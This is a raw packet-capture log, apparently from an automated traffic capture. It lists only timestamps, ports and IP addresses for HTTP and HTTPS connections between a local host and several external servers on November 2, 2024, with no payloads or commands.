Nov 2, 2024 07:16:23.059003115 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059010983 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059017897 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059030056 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059030056 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059042931 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059055090 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059065104 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059065104 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059078932 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059098005 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059113026 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059124947 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059124947 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059151888 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059164047 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059168100 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059179068 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059190989 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059201956 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059211969 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059241056 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059276104 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059288979 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059299946 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059318066 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059319019 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059329987 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059349060 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059384108 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059385061 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059458971 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059470892 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059494972 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059509039 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059519053 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059530020 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059557915 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059566975 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059587955 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059596062 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059608936 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059621096 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059686899 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059700012 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059710979 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059798002 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059809923 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059822083 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059885979 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059902906 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059902906 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059914112 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059925079 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059937000 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059940100 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059947014 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059952974 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059963942 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059974909 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059981108 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.059986115 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.059999943 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.060009003 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.060026884 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.060048103 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.060123920 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.060136080 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.060148001 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.060158014 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.060159922 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.060172081 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.060173988 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.060199022 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.060221910 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.117085934 CET	443	63874	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.117680073 CET	63874	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.117693901 CET	443	63874	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.118139982 CET	63874	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.118146896 CET	443	63874	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.132632017 CET	443	63876	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.133235931 CET	63876	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.133272886 CET	443	63876	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.133702040 CET	63876	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.133713007 CET	443	63876	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.140615940 CET	443	63875	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.141129971 CET	63875	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.141146898 CET	443	63875	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.141716003 CET	63875	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.141721964 CET	443	63875	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.144994020 CET	443	63878	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.145373106 CET	63878	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.145387888 CET	443	63878	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.145764112 CET	63878	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.145773888 CET	443	63878	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.172009945 CET	443	63877	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.172569036 CET	63877	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.172617912 CET	443	63877	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.173106909 CET	63877	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.173122883 CET	443	63877	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.255844116 CET	443	63874	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.255903959 CET	443	63874	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.255964994 CET	63874	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.259239912 CET	63874	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.259249926 CET	443	63874	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.259260893 CET	63874	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.259265900 CET	443	63874	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.262080908 CET	443	63876	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.262120008 CET	443	63876	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.262188911 CET	63876	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.262770891 CET	63876	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.262795925 CET	443	63876	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.262820005 CET	63876	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.262833118 CET	443	63876	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.272229910 CET	63879	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.272274017 CET	443	63879	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.272286892 CET	443	63875	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.272315979 CET	443	63875	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.272353888 CET	63879	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.272356987 CET	443	63875	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.272384882 CET	63875	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.272408009 CET	63875	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.272495985 CET	63879	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.272516012 CET	63880	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.272525072 CET	443	63879	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.272542953 CET	443	63880	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.272605896 CET	63880	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.272744894 CET	63880	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.272758961 CET	443	63880	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.272779942 CET	63875	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.272795916 CET	443	63875	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.272825003 CET	63875	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.272831917 CET	443	63875	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.273535013 CET	443	63878	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.273593903 CET	443	63878	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.274195910 CET	63878	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.274832010 CET	63881	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.274866104 CET	443	63881	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.274930000 CET	63881	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.275111914 CET	63878	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.275113106 CET	63878	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.275131941 CET	443	63878	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.275154114 CET	443	63878	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.276232958 CET	63881	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.276247025 CET	443	63881	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.278594017 CET	63882	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.278601885 CET	443	63882	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.278822899 CET	63882	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.278933048 CET	63882	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.278943062 CET	443	63882	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.307635069 CET	443	63877	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.307704926 CET	443	63877	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.307760000 CET	63877	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.308409929 CET	63877	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.308409929 CET	63877	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.308432102 CET	443	63877	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.308455944 CET	443	63877	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.311439991 CET	63883	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.311459064 CET	443	63883	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.311544895 CET	63883	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.311649084 CET	63883	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:23.311660051 CET	443	63883	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:23.351445913 CET	443	63873	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:23.351528883 CET	443	63873	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:23.351763010 CET	63873	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:23.351959944 CET	63873	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:23.351974964 CET	443	63873	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:23.583930016 CET	63884	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:23.583969116 CET	443	63884	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:23.584038019 CET	63884	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:23.587428093 CET	63884	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:23.587449074 CET	443	63884	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:24.015966892 CET	443	63882	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.025021076 CET	443	63880	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.031178951 CET	443	63881	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.032594919 CET	443	63879	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.044622898 CET	63879	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.044666052 CET	443	63879	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.045073032 CET	63879	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.045087099 CET	443	63879	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.045317888 CET	63882	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.045342922 CET	443	63882	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.046168089 CET	443	63883	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.047451019 CET	63882	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.047455072 CET	443	63882	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.047683954 CET	63883	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.047703028 CET	443	63883	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.048049927 CET	63883	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.048057079 CET	443	63883	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.073568106 CET	63880	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.073575020 CET	63881	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.082672119 CET	63880	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.082674980 CET	443	63880	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.083034992 CET	63880	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.083039045 CET	443	63880	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.083405018 CET	63881	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.083412886 CET	443	63881	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.083817959 CET	63881	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.083825111 CET	443	63881	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.174396038 CET	443	63882	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.174446106 CET	443	63882	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.174505949 CET	63882	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.175967932 CET	443	63883	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.175988913 CET	443	63883	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.176024914 CET	443	63883	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.176059961 CET	63883	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.176059961 CET	63883	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.178746939 CET	443	63879	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.178771973 CET	443	63879	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.178803921 CET	443	63879	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.178838968 CET	63879	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.178873062 CET	63879	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.182512045 CET	63882	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.182512045 CET	63882	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.182523012 CET	443	63882	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.182533979 CET	443	63882	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.206231117 CET	63883	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.206248999 CET	443	63883	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.206304073 CET	63883	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.206311941 CET	443	63883	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.210555077 CET	63879	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.210556030 CET	63879	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.210582018 CET	443	63879	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.210606098 CET	443	63879	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.211709023 CET	443	63880	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.211726904 CET	443	63880	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.211769104 CET	63880	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.211777925 CET	443	63880	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.212002993 CET	443	63880	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.212186098 CET	63880	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.212326050 CET	443	63881	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.212384939 CET	443	63881	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.212487936 CET	63881	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.212492943 CET	443	63881	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.212551117 CET	63881	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.212629080 CET	63880	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.212632895 CET	443	63880	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.212644100 CET	63880	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.212646961 CET	443	63880	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.214143038 CET	63881	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.214150906 CET	443	63881	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.217159033 CET	63885	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.217190981 CET	443	63885	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.217247009 CET	63885	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.217375040 CET	443	63884	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:24.217433929 CET	63884	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:24.219620943 CET	63885	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.219635010 CET	443	63885	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.220983028 CET	63884	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:24.220998049 CET	443	63884	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:24.221210003 CET	443	63884	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:24.222783089 CET	63884	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:24.222982883 CET	63884	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:24.223017931 CET	443	63884	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:24.224515915 CET	63886	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.224536896 CET	443	63886	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.224586964 CET	63886	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.224728107 CET	63886	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.224741936 CET	443	63886	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.226062059 CET	63887	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.226070881 CET	443	63887	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.226119995 CET	63887	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.227462053 CET	63887	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.227473021 CET	443	63887	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.228821993 CET	63888	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.228858948 CET	443	63888	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.228954077 CET	63888	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.229027987 CET	63888	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.229042053 CET	443	63888	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.232633114 CET	63889	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.232646942 CET	443	63889	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.232721090 CET	63889	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.232831001 CET	63889	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.232841015 CET	443	63889	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.951241016 CET	443	63886	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.952790976 CET	63886	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.952816010 CET	443	63886	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.953227043 CET	63886	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.953232050 CET	443	63886	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.964452982 CET	443	63887	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.966388941 CET	63887	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.966414928 CET	443	63887	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.966944933 CET	63887	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.966949940 CET	443	63887	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.974776983 CET	443	63884	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:24.974852085 CET	443	63884	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:24.974910021 CET	63884	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:24.976191998 CET	63884	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:24.976218939 CET	443	63884	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:24.979204893 CET	443	63889	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.980514050 CET	63889	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.980530977 CET	443	63889	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.980911016 CET	63889	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.980915070 CET	443	63889	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.989655018 CET	443	63885	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.989955902 CET	63885	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.989968061 CET	443	63885	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.990319014 CET	63885	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.990324020 CET	443	63885	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.990453005 CET	443	63888	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.990715981 CET	63888	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.990731955 CET	443	63888	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:24.991065025 CET	63888	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:24.991070032 CET	443	63888	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.080857038 CET	443	63886	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.080929995 CET	443	63886	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.080981016 CET	63886	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.082662106 CET	63886	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.082674980 CET	443	63886	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.082684994 CET	63886	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.082690001 CET	443	63886	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.092314959 CET	63890	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.092345953 CET	443	63890	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.092433929 CET	63890	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.093107939 CET	63890	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.093125105 CET	443	63890	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.094675064 CET	443	63887	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.094732046 CET	443	63887	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.094768047 CET	443	63887	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.094784975 CET	63887	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.094814062 CET	63887	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.094963074 CET	63887	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.094976902 CET	443	63887	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.094988108 CET	63887	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.094994068 CET	443	63887	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.096904039 CET	63891	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.096921921 CET	443	63891	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.098192930 CET	63891	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.098278999 CET	63891	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.098289967 CET	443	63891	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.110388994 CET	443	63889	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.113374949 CET	443	63889	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.113405943 CET	443	63889	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.113409042 CET	63889	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.113435030 CET	63889	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.114285946 CET	63889	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.114291906 CET	443	63889	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.114315033 CET	63889	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.114317894 CET	443	63889	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.117063046 CET	63892	443	192.168.2.4	13.107.246.45
